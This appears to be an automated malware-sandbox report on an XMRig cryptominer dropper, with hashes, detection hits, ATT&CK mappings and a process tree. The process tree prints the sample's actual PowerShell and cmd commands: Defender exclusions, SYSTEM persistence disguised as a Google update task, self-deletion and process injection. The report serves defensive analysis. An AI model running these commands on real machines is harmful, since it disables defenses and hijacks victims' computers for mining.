xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
411s
max time network
1796s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target

grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2640 created 1284	2640	Q5EUCWHU7pMYBfT3.exe	13
PID 2640 created 1284	2640	Q5EUCWHU7pMYBfT3.exe	13
PID 2640 created 1284	2640	Q5EUCWHU7pMYBfT3.exe	13
PID 2640 created 1284	2640	Q5EUCWHU7pMYBfT3.exe	13
PID 2392 created 1284	2392	updater.exe	13
PID 2392 created 1284	2392	updater.exe	13
PID 2392 created 1284	2392	updater.exe	13
PID 2392 created 1284	2392	updater.exe	13
PID 1364 created 1284	1364	conhost.exe	13
PID 2392 created 1284	2392	updater.exe	13

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral21/memory/1496-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/1496-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2552	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2392	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2900	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral21/memory/1496-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/1496-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2392 set thread context of 1364	2392	updater.exe	48
PID 2392 set thread context of 1496	2392	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Q5EUCWHU7pMYBfT3.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2784	schtasks.exe
2848	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1368	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b050662df350da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2640	Q5EUCWHU7pMYBfT3.exe
2640	Q5EUCWHU7pMYBfT3.exe
2248	powershell.exe
2640	Q5EUCWHU7pMYBfT3.exe
2640	Q5EUCWHU7pMYBfT3.exe
2564	powershell.exe
2640	Q5EUCWHU7pMYBfT3.exe
2640	Q5EUCWHU7pMYBfT3.exe
2640	Q5EUCWHU7pMYBfT3.exe
2640	Q5EUCWHU7pMYBfT3.exe
2556	powershell.exe
2392	updater.exe
2392	updater.exe
1532	powershell.exe
2392	updater.exe
2392	updater.exe
988	powershell.exe
2392	updater.exe
2392	updater.exe
2392	updater.exe
2392	updater.exe
1364	conhost.exe
1364	conhost.exe
2392	updater.exe
2392	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	988	powershell.exe
Token: SeDebugPrivilege	2392	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1368	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1368	WMIC.exe
Token: SeSecurityPrivilege	1368	WMIC.exe
Token: SeTakeOwnershipPrivilege	1368	WMIC.exe
Token: SeLoadDriverPrivilege	1368	WMIC.exe
Token: SeSystemtimePrivilege	1368	WMIC.exe
Token: SeBackupPrivilege	1368	WMIC.exe
Token: SeRestorePrivilege	1368	WMIC.exe
Token: SeShutdownPrivilege	1368	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1368	WMIC.exe
Token: SeUndockPrivilege	1368	WMIC.exe
Token: SeManageVolumePrivilege	1368	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1368	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1368	WMIC.exe
Token: SeSecurityPrivilege	1368	WMIC.exe
Token: SeTakeOwnershipPrivilege	1368	WMIC.exe
Token: SeLoadDriverPrivilege	1368	WMIC.exe
Token: SeSystemtimePrivilege	1368	WMIC.exe
Token: SeBackupPrivilege	1368	WMIC.exe
Token: SeRestorePrivilege	1368	WMIC.exe
Token: SeShutdownPrivilege	1368	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1368	WMIC.exe
Token: SeUndockPrivilege	1368	WMIC.exe
Token: SeManageVolumePrivilege	1368	WMIC.exe
Token: SeLockMemoryPrivilege	1496	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2564 wrote to memory of 2784	2564	powershell.exe	32
PID 2564 wrote to memory of 2784	2564	powershell.exe	32
PID 2564 wrote to memory of 2784	2564	powershell.exe	32
PID 2552 wrote to memory of 2636	2552	cmd.exe	37
PID 2552 wrote to memory of 2636	2552	cmd.exe	37
PID 2552 wrote to memory of 2636	2552	cmd.exe	37
PID 2556 wrote to memory of 2888	2556	powershell.exe	38
PID 2556 wrote to memory of 2888	2556	powershell.exe	38
PID 2556 wrote to memory of 2888	2556	powershell.exe	38
PID 2900 wrote to memory of 2392	2900	taskeng.exe	40
PID 2900 wrote to memory of 2392	2900	taskeng.exe	40
PID 2900 wrote to memory of 2392	2900	taskeng.exe	40
PID 988 wrote to memory of 2848	988	powershell.exe	47
PID 988 wrote to memory of 2848	988	powershell.exe	47
PID 988 wrote to memory of 2848	988	powershell.exe	47
PID 2392 wrote to memory of 1364	2392	updater.exe	48
PID 1328 wrote to memory of 1368	1328	cmd.exe	52
PID 1328 wrote to memory of 1368	1328	cmd.exe	52
PID 1328 wrote to memory of 1368	1328	cmd.exe	52
PID 2392 wrote to memory of 1496	2392	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1284
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2784
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2552
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:988
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2848
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1364
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1328
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1368
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1140
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1496

C:\Windows\system32\taskeng.exe
taskeng.exe {F31870E2-F752-4666-8857-626AB9A89C23} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
767KB

MD5
1986a060a73e4dbe3937fb66115b6252

SHA1
534543981d70054cad4a8644be42525d096d3f44

SHA256
4abf3e492c8e26cdbfefdb4a4839e8834c8958fbafd4676d0244ea776796a607

SHA512
024d632a049d2c591e9aa74b1d32bdc169ad3bdae0e92e0267114bf4eb30c6dcd3215551c85a3492c67610a2feb40c68947a3c41ee33622e577ee3efea15912d

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
51KB

MD5
153684715ac6c37fe3b5b61ee1d90be9

SHA1
5142547880aed95d1b3d0055755ce4507a71dba5

SHA256
a623a44faae3ea81ef3b20c1f1d4318c0748db4e8d28581a31a843efc423b721

SHA512
e15b11d4a715017eaaa2d80f99d6c89b81a69ce44b746b11e5a1d155ec193ca7fdfaabf0f20b44c3e716d1c2c13f2932e59d6598bdb39a2ddf5ae85cf875a87e

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
42b7d2c815e72a68b862b6e29c8589d1

SHA1
981145e1a8c64a42c8026131e3f488969180ddc5

SHA256
41aaf9a7a8db005113209bf5953b568a66123c0a6de04570dfd20362ff0a4751

SHA512
5a52c272d65dd27d2a968e60faa90e882bb3843d14a0715f877261fa9a5426363362ba03ee313b970db92af8bfe311c9497109786bd48fa6d29c51cc527786ff

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
638KB

MD5
e7790d9553822b2b2603a4cd022ff52a

SHA1
b02831a9ab16dfb6970f6fab7d0d827064bf1fc3

SHA256
910494c8dded9da48aff01e1a951821d17741cb83fe8739283507c6e0d9d632e

SHA512
db0beec7675dc4226c95d3c612ebb7690582438a48699eb576600747d546b95737d600084523336811c5fac6fb7701d6382127cb16e0980cbeee74e5ae919c4f

Download Submit
memory/988-59-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/988-58-0x00000000011B0000-0x0000000001230000-memory.dmp

Filesize
512KB

Download
memory/988-57-0x00000000011B0000-0x0000000001230000-memory.dmp

Filesize
512KB

Download
memory/988-56-0x00000000011B0000-0x0000000001230000-memory.dmp

Filesize
512KB

Download
memory/988-55-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/988-54-0x00000000011B0000-0x0000000001230000-memory.dmp

Filesize
512KB

Download
memory/988-53-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/1364-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1364-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1496-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-79-0x0000000000800000-0x0000000000820000-memory.dmp

Filesize
128KB

Download
memory/1496-78-0x00000000007E0000-0x0000000000800000-memory.dmp

Filesize
128KB

Download
memory/1496-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-67-0x0000000000040000-0x0000000000060000-memory.dmp

Filesize
128KB

Download
memory/1496-66-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1496-70-0x0000000000800000-0x0000000000820000-memory.dmp

Filesize
128KB

Download
memory/1496-69-0x00000000007E0000-0x0000000000800000-memory.dmp

Filesize
128KB

Download
memory/1532-46-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/1532-48-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/1532-50-0x0000000001150000-0x00000000011D0000-memory.dmp

Filesize
512KB

Download
memory/1532-51-0x0000000001150000-0x00000000011D0000-memory.dmp

Filesize
512KB

Download
memory/1532-49-0x0000000001150000-0x00000000011D0000-memory.dmp

Filesize
512KB

Download
memory/1532-52-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/1532-47-0x0000000001150000-0x00000000011D0000-memory.dmp

Filesize
512KB

Download
memory/2248-5-0x000000001B0E0000-0x000000001B3C2000-memory.dmp

Filesize
2.9MB

Download
memory/2248-12-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2248-11-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2248-9-0x00000000026A0000-0x0000000002720000-memory.dmp

Filesize
512KB

Download
memory/2248-10-0x00000000026A0000-0x0000000002720000-memory.dmp

Filesize
512KB

Download
memory/2248-8-0x00000000026A0000-0x0000000002720000-memory.dmp

Filesize
512KB

Download
